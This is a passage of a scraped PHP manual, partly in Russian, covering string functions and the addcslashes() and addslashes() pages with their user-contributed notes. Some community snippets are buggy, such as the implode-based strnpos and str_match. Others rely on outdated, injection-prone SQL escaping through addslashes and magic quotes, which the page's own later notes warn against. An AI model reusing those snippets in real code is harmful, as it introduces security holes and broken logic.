print '7: ' . nsubstr('24',$string,7) . '<br>';

/*
// prints:
S: d24jkdslgjldk2424jgklsjg24jskgldjk24
1: d
2: d24jkdslgjldk
3: d24jkdslgjldk24
4: d24jkdslgjldk2424jgklsjg
5: d24jkdslgjldk2424jgklsjg24jskgldjk
6: d24jkdslgjldk2424jgklsjg24jskgldjk24
7: d24jkdslgjldk2424jgklsjg24jskgldjk24
*/

?>

Note that this function can be combined with wordwrap() to accomplish a routine but fairly difficult web design goal, namely, limiting inline HTML text to a certain number of lines. wordwrap() can break your string using <br>, and then you can use this function to only return text up to the N'th <br>.

You will still have to make a conservative guess of the max number of characters per line with wordwrap(), but you can be more precise than if you were simply truncating a multiple-line string with substr().

See example:

<?php

$text = 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu dolor suscipit sem, tristique convallis ante ante id diam. Curabitur mollis, lacus vel gravida accumsan, enim quam condimentum est, vitae rutrum neque magna ac enim.';

$wrapped_text = wordwrap($text,100,'<br>',true);

$three_lines = nsubstr('<br>',$wrapped_text,3);

print '<br><br>' . $three_lines;

$four_lines = nsubstr('<br>',$wrapped_text,4);

print '<br><br>' . $four_lines;

/*
prints:

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin
ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis
mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin
ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis
mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu
dolor suscipit sem, tristique convallis ante ante id diam. Curabitur mollis, lacus vel gravida

*/

?>
Verdauga 19-Mar-2008 06:06
Just a note in regards to bloopletech a few posts down:

The word "and" should not be used when converting numbers to text.  "And" (at least in US English) should only be used to indicate the decimal place.

Example:
1,796,706 => one million, seven hundred ninety-six thousand, seven hundred six.
594,359.34 => five hundred ninety four thousand, three hundred fifty nine and thirty four hundredths
m 26-Jul-2007 05:10
Regarding the code for the function beginsWith($str, $sub), I found that it has problems when only one character is present after the string searched for. I found that this works better instead:

<?php
function beginsWith($str, $sub) {
    return (strncmp($str, $sub, strlen($sub)) == 0);
}
?>
mike &#34;eyes&#34; moe 17-Jun-2007 05:59
Here is a truly random string generator it uses the most common string functions it will work on anywhere.

<?php
    function random_string($max = 20){
        $chars = explode(" ", "a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9");
        for($i = 0; $i < $max; $i++){
            $rnd = array_rand($chars);
            $rtn .= base64_encode(md5($chars[$rnd]));
        }
        return substr(str_shuffle(strtolower($rtn)), 0, $max);
    }
?>
admin at rotarymulundeast dot org 30-Jul-2006 03:16
Here's an easier way to find nth...

function nth($numbex){
  if ($numbex%10 == 1 && $numbex%100 != 11) $sth='st';
  elseif ($numbex%10 == 2 && $numbex%100 != 12) $sth='nd';
  elseif ($numbex%10 == 3 && $numbex%100 != 13) $sth='rd';
  else $sth = 'th';
  return $sth;
}

there is is no need to check if the user has entered a non-integer as we may be using this function for expressing variables as well eg. ith value of x , nth root of z ,etc...
administrador(ensaimada)sphoera(punt)com 02-Mar-2006 06:10
I've prepared this simple function to obtain a string delimited between tags (not only XML tags!). Anybody needs something like this?.

<?php

function get_string_between($string, $start, $end){
    $string = " ".$string;
     $ini = strpos($string,$start);
     if ($ini == 0) return "";
     $ini += strlen($start);
     $len = strpos($string,$end,$ini) - $ini;
     return substr($string,$ini,$len);
}

$string = "this [custom] function is useless!!";
echo get_string_between($string,"[","]");
// must return "custom";
?>
more functions at http://www.sphoera.com
SteveRusin 24-Feb-2006 11:00
The functions below:

function beginsWith( $str, $sub )
function endsWith( $str, $sub )

Are correct, but flawed.  You'd need to use the === operator instead:

function beginsWith( $str, $sub ) {
   return ( substr( $str, 0, strlen( $sub ) ) === $sub );
}
function endsWith( $str, $sub ) {
   return ( substr( $str, strlen( $str ) - strlen( $sub ) ) === $sub );
}

Otherwise, endsWith would return "foobar.0" ends with ".0" as well as "0" or "00" or any amount of zeros because numerically .0 does equal 0.
navarr at gmail dot com 20-Dec-2005 06:24
stripos for PHP4.x

<?php
  function stripos($haystack,$needle) {
    return strpos(strtoupper($haystack),strtoupper($needle));
  }
?>
admin at fivestarbuy dot com 21-Oct-2005 09:18
This example lets you parse an unparsed strings variables. Warning: This could cause security leaks if you allow users to pass $variables through this engine. I recommend only using this for your Content Management System.

<?
$mytime=time();
$mydog="My Dog Ate My PHP!";

# Your Parsing String:
$s1 = 'Hyphen Variable Preserving: $mytime, and $mydog';
echo "Before: <br><br>$s1<br><br>";

# Remember, wherever you define this, it will not be defined GLOBAL into the function
# which is why we define it here. Defining it global could lead to security issues.
$vardata=get_defined_vars();

# Parse the string
$s1 = StrParse($s1,$vardata);

echo "After: <br><br>$s1";

function StrParse($str,$vardata) {
# Takes a string, or piece of data, that contains PHP Variables

 # For example, unparsed variables like:  Test using time: $mytime
 # This example shows $mytime, and not the actual variable value.
 # The end result shows the actual variable value of $mytime.

 # This is useful for building a content management system,
 # and directing your variables into your content data,
 # where content is stored in a file or database, unparsed.
 # Of course this could slow down page loads, but it's a good way
 # to parse data from current variables into your loaded new data
 # making it compatible.

# Then the variables are replaced with the actual variable..
$getvarkeys=array_keys($vardata);
$ret=$str;
for ($x=0; $x < count($getvarkeys); $x++) {
    $myvar=$getvarkeys[$x];
    #echo "Variable: " . $myvar . " [" . $vardata[$myvar] . "]<br>";
    $ret=str_replace('$' . $myvar, $vardata[$myvar], $ret);
}
return $ret;

}

?>
17-Oct-2005 03:27
to: james dot d dot baker at gmail dot com

PHP has a builtin function  for doing what your function does,

http://php.net/ucfirst
http://php.net/ucwords
webmaster at cafe-clope dot net 13-Aug-2005 04:40
A comprehensive concatenation function, that works with array and strings

<?php
function str_cat() {
  $args = func_get_args() ;

  // Asserts that every array given as argument is $dim-size.
  // Keys in arrays are stripped off.
  // If no array is found, $dim stays unset.
  foreach($args as $key => $arg) {
    if(is_array($arg)) {
      if(!isset($dim))
        $dim = count($arg) ;
      elseif($dim != count($arg))
        return FALSE ;
      $args[$key] = array_values($arg) ;
    }
  }

  // Concatenation
  if(isset($dim)) {
    $result = array() ;
    for($i=0;$i<$dim;$i++) {
      $result[$i] = '' ;
      foreach($args as $arg)
        $result[$i] .= ( is_array($arg) ? $arg[$i] : $arg ) ;
    }
    return $result ;
  } else {
    return implode($args) ;
  }
}
?>

A simple example :

<?php
str_cat(array(1,2,3), '-', array('foo' => 'foo', 'bar' => 'bar', 'noop' => 'noop')) ;
?>

will return :
Array (
  [0] => 1-foo
  [1] => 2-bar
  [2] => 3-noop
)

More usefull :

<?php
$myget = $_GET ; // retrieving previous $_GET values
$myget['foo'] = 'b a r' ; // changing one value
$myget = str_cat(array_keys($myget), '=', array_map('rawurlencode', array_values($myget))) ;
$querystring = implode(ini_get('arg_separator.output'), $myget)) ;
?>

will return a valid querystring with some values changed.

Note that <?php str_cat('foo', '&', 'bar') ; ?> will return 'foo&bar', while <?php str_cat(array('foo'), '&', 'bar') ; ?> will return array(0 => foo&bar)
t0russ at gmail dot com 14-Jun-2005 10:38
to kristin at greenaple dot on dot ca:
thanx for sharing.
your function in recursive form proved to be slightly faster and it returns false (as it should) when the character is not found instead of number 0:
<?php
function strnposr($haystack, $needle, $occurance, $pos = 0) {
    return ($occurance<2)?strpos($haystack, $needle, $pos):strnposr($haystack,$needle,$occurance-1,strpos($haystack, $needle, $pos) + 1);
}
?>
rh at richardhoward dot net 05-Jun-2005 11:41
<?php
/**
Utility class: static methods for cleaning & escaping untrusted (i.e.
user-supplied) strings.

Any string can (usually) be thought of as being in one of these 'modes':

pure = what the user actually typed / what you want to see on the page /
       what is actually stored in the DB
gpc  = incoming GET, POST or COOKIE data
sql  = escaped for passing safely to RDBMS via SQL (also, data from DB
       queries and file reads if you have magic_quotes_runtime on--which
       is rare)
html = safe for html display (htmlentities applied)

Always knowing what mode your string is in--using these methods to
convert between modes--will prevent SQL injection and cross-site scripting.

This class refers to its own namespace (so it can work in PHP 4--there is no
self keyword until PHP 5). Do not change the name of the class w/o changing
all the internal references.

Example usage: a POST value that you want to query with:
$username = Str::gpc2sql($_POST['username']);
*/

//This sets SQL escaping to use slashes; for Sybase(/MSSQL)-style escaping
// ( ' --> '' ), set to true.
define('STR_SYBASE', false);

class Str {
    function gpc2sql($gpc, $maxLength = false)
    {
        return Str::pure2sql(Str::gpc2pure($gpc), $maxLength);
    }
    function gpc2html($gpc, $maxLength = false)
    {
        return Str::pure2html(Str::gpc2pure($gpc), $maxLength);
    }
    function gpc2pure($gpc)
    {
        if (ini_get('magic_quotes_sybase'))
            $pure = str_replace("''", "'", $gpc);
        else $pure = get_magic_quotes_gpc() ? stripslashes($gpc) : $gpc;
        return $pure;
    }
    function html2pure($html)
    {
        return html_entity_decode($html);
    }
    function html2sql($html, $maxLength = false)
    {
        return Str::pure2sql(Str::html2pure($html), $maxLength);
    }
    function pure2html($pure, $maxLength = false)
    {
        return $maxLength ? htmlentities(substr($pure, 0, $maxLength))
                          : htmlentities($pure);
    }
    function pure2sql($pure, $maxLength = false)
    {
        if ($maxLength) $pure = substr($pure, 0, $maxLength);
        return (STR_SYBASE)
               ? str_replace("'", "''", $pure)
               : addslashes($pure);
    }
    function sql2html($sql, $maxLength = false)
    {
        $pure = Str::sql2pure($sql);
        if ($maxLength) $pure = substr($pure, 0, $maxLength);
        return Str::pure2html($pure);
    }
    function sql2pure($sql)
    {
        return (STR_SYBASE)
               ? str_replace("''", "'", $sql)
               : stripslashes($sql);
    }
}
?>
james dot d dot baker at gmail dot com 27-May-2005 10:45
<?php
/*
Written By James Baker, May 27th 2005

sentenceCase($string);
    $string: The string to convert to sentence case.

Converts a string into proper sentence case (First letter of each sentance capital, all the others smaller)

Example Usage:
echo sentenceCase("HELLO WORLD!!! THIS IS A CAPITALISED SENTENCE. this isn't.");

Returns:
Hello world!!! This is a capitalised sentence. This isn't.
*/

function sentenceCase($s){
    $str = strtolower($s);
    $cap = true;

    for($x = 0; $x < strlen($str); $x++){
        $letter = substr($str, $x, 1);
        if($letter == "." || $letter == "!" || $letter == "?"){
            $cap = true;
        }elseif($letter != " " && $cap == true){
            $letter = strtoupper($letter);
            $cap = false;
        }

        $ret .= $letter;
    }

    return $ret;
}
?>
php at moechofe dot com 26-Apr-2005 06:34
<?php
  /*
  * str_match
  *
  * return a string with only cacacteres defined in a expression return false if the expression is not valid
  *
  * @param $str string the string
  * @param $match the expression based on the class definition off a PCRE regular expression.
  *   the '[', ']', '\' and '^' at class start need to be escaped.
  *   like : -a-z0-9_@.
  */
  function str_match( $str, $match )
  {
    $return = '';
    if( eregi( '(.*)', $match, $class ) )
    {
      $match = '['.$regs[1].']';
      for( $i=0; $i<strlen($str); $i++ )
      if( ereg( '['.$class[1].']', $str[$i] ) )
      $return .= $str{$i};
      return $return;
    }
    else return false;
  }

  /*
  * example
  * accept only alphanum caracteres from the GET/POST parameters 'a'
  */

  if( ! empty($_REQUEST['a']) )
    $_REQUEST['a'] = str_match( $_REQUEST['a'], 'a-zA-Z0-9' );
  else
    $_REQUEST['a'] = 'default';
?>
Pommef 19-Mar-2005 01:15
Example: Give me everything up to the fourth occurance of '/'.

<?php

   $haystack = "/home/username/www/index.php";
   $needle = "/";

   function strnpos($haystack, $needle, $occurance, $pos = 0) {

        $res = implode($needle,$haystack);

        $res = array_slice($res, $pos,  $occurance);

        return explode ($needle,$res);
    }
?>
kristin at greenapple dot on dot ca 02-Jan-2005 08:32
I really searched for a function that would do this as I've seen it in other languages but I couldn't find it here. This is particularily useful when combined with substr() to take the first part of a string up to a certain point.

strnpos() - Find the nth position of needle in haystack.

<?php

    function strnpos($haystack, $needle, $occurance, $pos = 0) {

        for ($i = 1; $i <= $occurance; $i++) {
            $pos = strpos($haystack, $needle, $pos) + 1;
        }
        return $pos - 1;

    }

?>

Example: Give me everything up to the fourth occurance of '/'.

<?php

    $haystack = "/home/username/www/index.php";
    $needle = "/";

    $root_dir = substr($haystack, 0, strnpos($haystack, $needle, 4));

    echo $root_dir;

?>

Returns: /home/username/www

Use this example with the server variable $_SERVER['SCRIPT_NAME'] as the haystack and you can self-discover a document's root directory for the purposes of locating global files automatically!
20-Dec-2004 08:31
In response to hackajar <matt> yahoo <trot> com,

No string-to-array function exists because it is not needed. If you reference a string with an offset like you do with an array, the character at that offset will be return. This is documented in section III.11's "Strings" article under the "String access and modification by character" heading.
andy a t onesandzeros d o t biz 09-Nov-2004 02:54
I use these little doo-dads quite a bit. I just thought I'd share them and maybe save someone a little time. No biggy. :)

// returns true if $str begins with $sub
function beginsWith( $str, $sub ) {
    return ( substr( $str, 0, strlen( $sub ) ) == $sub );
}

// return tru if $str ends with $sub
function endsWith( $str, $sub ) {
    return ( substr( $str, strlen( $str ) - strlen( $sub ) ) == $sub );
}

// trims off x chars from the front of a string
// or the matching string in $off is trimmed off
function trimOffFront( $off, $str ) {
    if( is_numeric( $off ) )
        return substr( $str, $off );
    else
        return substr( $str, strlen( $off ) );
}

// trims off x chars from the end of a string
// or the matching string in $off is trimmed off
function trimOffEnd( $off, $str ) {
    if( is_numeric( $off ) )
        return substr( $str, 0, strlen( $str ) - $off );
    else
        return substr( $str, 0, strlen( $str ) - strlen( $off ) );
}
[tab!] 27-Oct-2004 12:29
//
// string strtrmvistl(  string str, [int maxlen = 64],
//                      [bool right_justify = false],
//                      [string delimter = "<br>\n"])
//
// splits a long string into two chunks (a start and an end chunk)
// of a given maximum length and seperates them by a given delimeter.
// a second chunk can be right-justified within maxlen.
// may be used to 'spread' a string over two lines.
//

function strtrmvistl($str, $maxlen = 64, $right_justify = false, $delimter = "<br>\n") {
    if(($len = strlen($str = chop($str))) > ($maxlen = max($maxlen, 12))) {
        $newstr = substr($str, 0, $maxlen - 3);

        if($len > ($maxlen - 3)) {
            $endlen = min(($len - strlen($newstr)), $maxlen - 3);
            $newstr .= "..." . $delimter;

            if($right_justify)
                $newstr .= str_pad('', $maxlen - $endlen - 3, ' ');

            $newstr .= "..." . substr($str, $len - $endlen);
        }

        return($newstr);
    }

    return($str);
}
terry dot greenlaw at logicalshift dot com 11-Aug-2004 10:52
Here's a simpler "simplest" way to toggle through a set of 1..n colors for web backgrounds:

<?php
$colours = array('#000000', '#808080', '#A0A0A0', '#FFFFFF');

// Get a colour
$color = next($colors) or $color = reset($colors);
?>

The code doesn't need to know anything about the number of elements being cycled through. That way you won't have to tracking down all the code when changing the number of colors or the color values.


Экранирует строку слешами в стиле языка C

  • « Функции для работы со строками
  • addslashes »
  • PHP Manual
  • Функции для работы со строками
  • Экранирует строку слешами в стиле языка C

addcslashes

(PHP 4, PHP 5, PHP 7, PHP 8)

addcslashes — Экранирует строку слешами в стиле языка C

Описание

addcslashes(string $string, string $characters): string

Возвращает строку, экранированную обратными слешами перед символами, указанными в параметре characters.

Список параметров

string

Экранируемая строка.

characters

Список экранируемых символов. Если characters содержит символы \n, \r и т.п., они будут преобразованы в стиле C, тогда как другие нецифробуквенные символы с ASCII-кодами ниже 32 и выше 126 будут преобразованы в восьмеричное представление.

Следует быть внимательным при указании диапазона символов в аргументе characters. Проверяйте, какие символы входят в этот диапазон.

<?php
echo addcslashes('foo[ ]', 'A..z');
// выводит: \f\o\o\[ \]
// Будут экранированы заглавные и строчные английские буквы
// ... а также [\]^_`
?>
Также, если ASCII-код первого символа диапазона больше, чем последнего, диапазон не будет создан. Вместо этого будут экранироваться только первый символ, последний символ и точка. Для определения ASCII-кода символов используйте функцию ord().
<?php
echo addcslashes("zoo['.']", 'z..A');
// выводит: \zoo['\.']
?>

Будьте внимательны при экранировании символов 0, a, b, f, n, r, t и v. Они будут преобразованы в \0, \a, \b, \f, \n, \r, \t и \v, которые являются предопределёнными escape-последовательностями в языке Си. Многие из этих последовательностей также определены в других Си-подобных языках, включая PHP. Это означает, что вы можете не получить ожидаемого результата, если будете использовать вывод функции addcslashes() для создания кода в этих языках с использованием этих символов в characters.

Возвращаемые значения

Возвращает экранированную строку.

Примеры

characters, например, "\0..\37", что проэкранирует все символы с ASCII-кодами от 0 до 31.

Пример #1 Пример использования addcslashes()

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\177..\377");
?>

Смотрите также

  • stripcslashes() - Удаляет экранирование символов, произведённое функцией addcslashes
  • stripslashes() - Удаляет экранирование символов
  • addslashes() - Экранирует строку с помощью слешей
  • htmlspecialchars() - Преобразовывает специальные символы в HTML-сущности
  • quotemeta() - Экранирует специальные символы

User Contributed Notes

vishal dot ceeng at gmail dot com 03-May-2019 05:16
echo addcslashes("zoo['.']", 'z..A');

Above code will create an error as per below

Invalid '..'-range, '..'-range needs to be incrementing -
glitchmr at myopera dot com 02-Jul-2013 06:55
If you need JS escaping function, use json_encode() instead.
stein at visibone dot com 12-Nov-2007 03:16
addcslashes() treats NUL as a string terminator:

   assert("any"  === addcslashes("any\0body", "-"));

unless you order it backslashified:

   assert("any\\000body" === addcslashes("any\0body", "\0"));

(Uncertain whether this should be declared a bug or simply that addcslashes() is not binary-safe, whatever that means.)
Johannes 26-Oct-2007 05:34
Be carefull with adding the \ to the list of encoded characters. When you add it at the last position it encodes all encoding slashes. I got a lot of \\\ by this mistake.

So always encode \ at first.
phpcoder at cyberpimp dot pimpdomain dot com 19-Jan-2005 11:02
If you are using addcslashes() to encode text which is to later be decoded back to it's original form, you MUST specify the backslash (\) character in charlist!

Example:

<?php
  $originaltext = 'This text does NOT contain \\n a new-line!';
  $encoded = addcslashes($originaltext, '\\');
  $decoded = stripcslashes($encoded);
  //$decoded now contains a copy of $originaltext with perfect integrity
  echo $decoded; //Display the sentence with it's literal \n intact
?>

If the '\\' was not specified in addcslashes(), any literal \n (or other C-style special character) sequences in $originaltext would pass through un-encoded, but then be decoded into control characters by stripcslashes() and the data would lose it's integrity through the encode-decode transaction.
natNOSPAM at noworrie dot NO_SPAM dot com 17-May-2002 04:22
I have found the following to be much more appropriate code example:

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\@\177..\377");
?>

This will protect original, innocent backslashes from stripcslashes.


Экранирует строку с помощью слешей

  • « addcslashes
  • bin2hex »
  • PHP Manual
  • Функции для работы со строками
  • Экранирует строку с помощью слешей

addslashes

(PHP 4, PHP 5, PHP 7, PHP 8)

addslashes — Экранирует строку с помощью слешей

Описание

addslashes(string $string): string

Возвращает строку с обратным слешем перед символами, которые нужно экранировать. Экранируются следующие символы:

  • одинарная кавычка (')
  • двойная кавычка (")
  • обратный слеш (\)
  • NUL (байт null)

Небольшой пример использования функции addslashes() для экранирования вышеперечисленных символов:

<?php
$str = "O'Reilly?";
eval("echo '" . addslashes($str) . "';");
?>

Иногда функцию addslashes() некорректно пытаются использовать для предотвращения SQL-инъекций. Не делайте так. Вместо неё используйте подготовленные запросы или функции экранирования соответствующих модулей работы с базами данных.

Список параметров

string

Экранируемая строка.

Возвращаемые значения

Возвращает экранируемую строку.

Примеры

Пример #1 Пример использования addslashes()

<?php
$str = "Ваше имя O'Reilly?";

// выводит: Ваше имя O\'Reilly?
echo addslashes($str);
?>

Смотрите также

  • stripcslashes() - Удаляет экранирование символов, произведённое функцией addcslashes
  • stripslashes() - Удаляет экранирование символов
  • addcslashes() - Экранирует строку слешами в стиле языка C
  • htmlspecialchars() - Преобразовывает специальные символы в HTML-сущности
  • quotemeta() - Экранирует специальные символы
  • get_magic_quotes_gpc() - Получает текущее значение настройки конфигурации magic_quotes_gpc

User Contributed Notes

divinity76 at gmail dot com 02-Mar-2022 04:08
Addslashes is *never* the right answer, it's (ab)use can lead to security exploits!

if you need to escape HTML, it's (unfortunately)
<?php
echo htmlentities($html, ENT_QUOTES|ENT_SUBSTITUTE|ENT_DISALLOWED);
?>
if you need to quote shell arguments, it's
<?php
$cmd.= " --file=" . escapeshellarg($arg);
?>
if you need to quote SQL strings it's
<?php
$sql.= "WHERE col = '".$mysqli->real_escape_string($str)."'";
?>
or
<?php
$sql.= "WHERE col = " . $pdo->quote($str);
?>
if you need to quote javascript/json strings its
<?php
let str = <?=json_encode($str, JSON_THROW_ON_ERROR);?>;
?>

if you need to quote a string in xpath it's
<?php
//based on https://stackoverflow.com/a/1352556/1067003
function xpath_quote(string $value):string{
    if(false===strpos($value,'"')){
        return '"'.$value.'"';
    }
    if(false===strpos($value,'\'')){
        return '\''.$value.'\'';
    }
    // if the value contains both single and double quotes, construct an
    // expression that concatenates all non-double-quote substrings with
    // the quotes, e.g.:
    //
    //    concat("'foo'", '"', "bar")
    $sb='concat(';
    $substrings=explode('"',$value);
    for($i=0;$i<count($substrings);++$i){
        $needComma=($i>0);
        if($substrings[$i]!==''){
            if($i>0){
                $sb.=', ';
            }
            $sb.='"'.$substrings[$i].'"';
            $needComma=true;
        }
        if($i < (count($substrings) -1)){
            if($needComma){
                $sb.=', ';
            }
            $sb.="'\"'";
        }
    }
    $sb.=')';
    return $sb;
}
$xp->query('/catalog/items/item[title='.xpath_quote($var).']');
?>
if you need to quote strings in CSS its
<?php
// CSS escape code ripped from Zend Framework ( https://github.com/zendframework/zf2/blob/master/library/Zend/Escaper/Escaper.php )
function css_escape_string($string)
{
    $cssMatcher = function ($matches) {
        $chr = $matches[0];
        if (strlen($chr) == 1) {
            $ord = ord($chr);
        } else {
            $chr = mb_convert_encoding($chr, 'UTF-16BE', 'UTF-8'); // $this->convertEncoding($chr, 'UTF-16BE', 'UTF-8');
            $ord = hexdec(bin2hex($chr));
        }
        return sprintf('\\%X ', $ord);
    };
    $originalEncoding = mb_detect_encoding($string);
    if ($originalEncoding === false) {
        $originalEncoding = 'UTF-8';
    }
    ;
    $string = mb_convert_encoding($string, 'UTF-8', $originalEncoding); // $this->toUtf8($string);
                                                                        // throw new Exception('mb_convert_encoding(\''.$string.'\',\'UTF-8\',\''.$originalEncoding.'\');');
    if ($string === '' || ctype_digit($string)) {
        return $string;
    }
    $result = preg_replace_callback('/[^a-z0-9]/iSu', /*$this->*/$cssMatcher, $string);
    // var_dump($result);
    return mb_convert_encoding($result, $originalEncoding, 'UTF-8'); // $this->fromUtf8($result);
}

?>

- but never addslashes.
baburaj dot ambalam at gmail dot com 12-Aug-2020 03:22
escape '$'  using backslash '\$'

<?php

  $evalStr = "5 + 3";
  $sum = 0;
  $evalStr = " \$sum = ". $evalStr.";";
  eval( $evalStr);
  print ("sum ".$sum);

?>
geekcom 19-Jul-2019 04:41
For PHP 7.3.* use FILTER_SANITIZE_ADD_SLASHES.

<?php
$str = "Is your name O'Reilly?";
$strWithSlashes = filter_var($str, FILTER_SANITIZE_ADD_SLASHES);

// Outputs: Is your name O\'Reilly?
echo $strWithSlashes;

?>
David Spector 04-Oct-2013 02:30
If all you want to do is quote a string as you would normally do in PHP (for example, when returning an Ajax result, inside a json string value, or when building a URL with args), don't use addslashes (you don't want both " and ' escaped at the same time). Instead, just use this function:

<?php
function Quote($Str) // Double-quoting only
    {
    $Str=str_replace('"','\"',$Str);
    return '"'.$Str.'"';
    } // Quote
?>

Modify this easily to get a single-quoting function.
Lars 03-Apr-2012 08:51
Even for simple json string backslash encodings, do not use this function. Some tests may work fine, but in json the single quote (') must not be escaped.
svenr at selfhtml dot org 01-Feb-2011 08:45
To output a PHP variable to Javascript, use json_encode().

<?php

$var = "He said \"Hello O'Reilly\" & disappeared.\nNext line...";
echo "alert(".json_encode($var).");\n";

?>

Output:
alert("He said \"Hello O'Reilly\" & disappeared.\nNext line...") ;
roysimke at microsoftsfirstmailprovider dot com 18-Jun-2010 01:35
Never use addslashes function to escape values you are going to send to mysql. use mysql_real_escape_string or pg_escape at least if you are not using prepared queries yet.

keep in mind that single quote is not the only special character that can break your sql query. and quotes are the only thing which addslashes care.
DarkHunterj 25-Aug-2009 05:11
Based on:
Danijel Pticar
05-Aug-2009 05:22
I recommend this extended version, to replace addslashes altogether(works for both strings and arrays):
<?php
function addslashesextended(&$arr_r)
{
    if(is_array($arr_r))
    {
        foreach ($arr_r as &$val)
            is_array($val) ? addslashesextended($val):$val=addslashes($val);
        unset($val);
    }
    else
        $arr_r=addslashes($arr_r);
}
?>
stuart at horuskol dot co dot uk 11-Dec-2008 02:44
Be careful on whether you use double or single quotes when creating the string to be escaped:

$test = 'This is one line\r\nand this is another\r\nand this line has\ta tab';

echo $test;
echo "\r\n\r\n";
echo addslashes($test);

$test = "This is one line\r\nand this is another\r\nand this line has\ta tab";

echo $test;
echo "\r\n\r\n";
echo addslashes($test);
Nate from RuggFamily.com 24-May-2007 07:19
If you want to add slashes to special symbols that would interfere with a regular expression (i.e., . \ + * ? [ ^ ] $ ( ) { } = ! < > | :), you should use the preg_quote() function.
Adrian C 02-Mar-2007 06:06
What happends when you add addslashes(addslashes($str))? This is not a good thing and it may be fixed:

function checkaddslashes($str){
    if(strpos(str_replace("\'",""," $str"),"'")!=false)
        return addslashes($str);
    else
        return $str;
}

checkaddslashes("aa'bb");  => aa\'bb
checkaddslashes("aa\'bb"); => aa\'bb
checkaddslashes("\'"); => \'
checkaddslashes("'");  => \'

Hope this will help you
joechrz at gmail dot com 19-Aug-2006 05:36
Here's an example of a function that prevents double-quoting, I'm surprised noone has put something like this up yet... (also works on arrays)

<?php
function escape_quotes($receive) {
    if (!is_array($receive))
        $thearray = array($receive);
    else
        $thearray = $receive;

    foreach (array_keys($thearray) as $string) {
        $thearray[$string] = addslashes($thearray[$string]);
        $thearray[$string] = preg_replace("/[\\/]+/","/",$thearray[$string]);
    }

    if (!is_array($receive))
        return $thearray[0];
    else
        return $thearray;
}
?>
Picky 24-May-2006 12:55
This function is deprecated in PHP 4.0, according to this article:

http://www.newsforge.com/article.pl?sid=06/05/23/2141246

Also, it is worth mentioning that PostgreSQL will soon start to block queries involving escaped single quotes using \ as the escape character, for some cases, which depends on the string's encoding.  The standard way to escape quotes in SQL (not all SQL databases, mind you) is by changing single quotes into two single quotes (e.g, ' ' ' becomes ' '' ' for queries).

You should look into other ways for escaping strings, such as "mysql_real_escape_string" (see the comment below), and other such database specific escape functions.
luciano at vittoretti dot com dot br 31-Oct-2005 03:18
Note, this function wont work with mssql or access queries.
Use the function above (work with arrays too).

function addslashes_mssql($str){
    if (is_array($str)) {
        foreach($str AS $id => $value) {
            $str[$id] = addslashes_mssql($value);
        }
    } else {
        $str = str_replace("'", "''", $str);
    }

    return $str;
}

function stripslashes_mssql($str){
    if (is_array($str)) {
        foreach($str AS $id => $value) {
            $str[$id] = stripslashes_mssql($value);
        }
    } else {
        $str = str_replace("''", "'", $str);
    }

    return $str;
}
unsafed 30-Apr-2005 08:23
addslashes does NOT make your input safe for use in a database query! It only escapes according to what PHP defines, not what your database driver defines. Any use of this function to escape strings for use in a database is likely an error - mysql_real_escape_string, pg_escape_string, etc, should be used depending on your underlying database as each database has different escaping requirements. In particular, MySQL wants \n, \r and \x1a escaped which addslashes does NOT do. Therefore relying on addslashes is not a good idea at all and may make your code vulnerable to security risks. I really don't see what this function is supposed to do.
hazy underscore fakie at ringwraith dot org 12-Jul-2003 11:23
Note that when using addslashes() on a string that includes cyrillic characters, addslashes() totally mixes up the string, rendering it unusable.
hoskerr at nukote dot com 12-Nov-2002 03:16
Beware of using addslashes() on input to the serialize() function.   serialize() stores strings with their length; the length must match the stored string or unserialize() will fail.

Such a mismatch can occur if you serialize the result of addslashes() and store it in a database; some databases (definitely including PostgreSQL) automagically strip backslashes from "special" chars in SELECT results, causing the returned string to be shorter than it was when it was serialized.

In other words, do this...

<?php
$string="O'Reilly";
$ser=serialize($string);    # safe -- won't count the slash
$result=addslashes($ser);
?>

...and not this...

<?php
$string="O'Reilly";
$add=addslashes($string);   # RISKY!  -- will count the slash
$result=serialize($add);
?>

In both cases, a backslash will be added after the apostrophe in "O'Reilly"; only in the second case will the backslash be included in the string length as recorded by serialize().

[Note to the maintainers: You may, at your option, want to link this note to serialize() as well as to addslashes().  I'll refrain from doing such cross-posting myself...]
php at slamb dot org 30-Oct-2002 10:48
spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that if they pass in a string that includes a "\'", you expand it to "\'''" (an escaped quote followed by a non-escaped quote. WRONG! Attackers can execute arbitrary SQL to drop your tables, make themselves administrators, whatever they want.)

The best way to be safe and correct is to:

- don't use magic quotes; this approach is bad. For starters, that's making the assumption that you will be using your input in a database query, which is arbitrary. (Why not escape all "<"s with "&lt;"s instead? Cross-site scripting attacks are quite common as well.) It's better to set up a way that does whatever escaping is correct for you when you use it, as below:

- when inserting into the database, use prepared statements with placeholders. For example, when using PEAR DB:

<?php
    $stmt = $dbh->prepare('update mb_users set password = ? where username = ?');
    $dbh->execute($stmt, array('12345', 'bob'));
?>

Notice that there are no quotes around the ?s. It handles that for you automatically. It's guaranteed to be safe for your database. (Just ' on oracle, \ and ' on PostgreSQL, but you don't even have to think about it.)

Plus, if the database supports prepared statements (the soon-to-be-released PostgreSQL 7.3, Oracle, etc), several executes on the same prepare can be faster, since it can reuse the same query plan. If it doesn't (MySQL, etc), this way falls back to quoting code that's specifically written for your database, avoiding the problem I mentioned above.

(Pardon my syntax if it's off. I'm not really a PHP programmer; this is something I know from similar things in Java, Perl, PL/SQL, Python, Visual Basic, etc.)
hybrid at n0spam dot pearlmagik dot com 08-May-2001 10:46
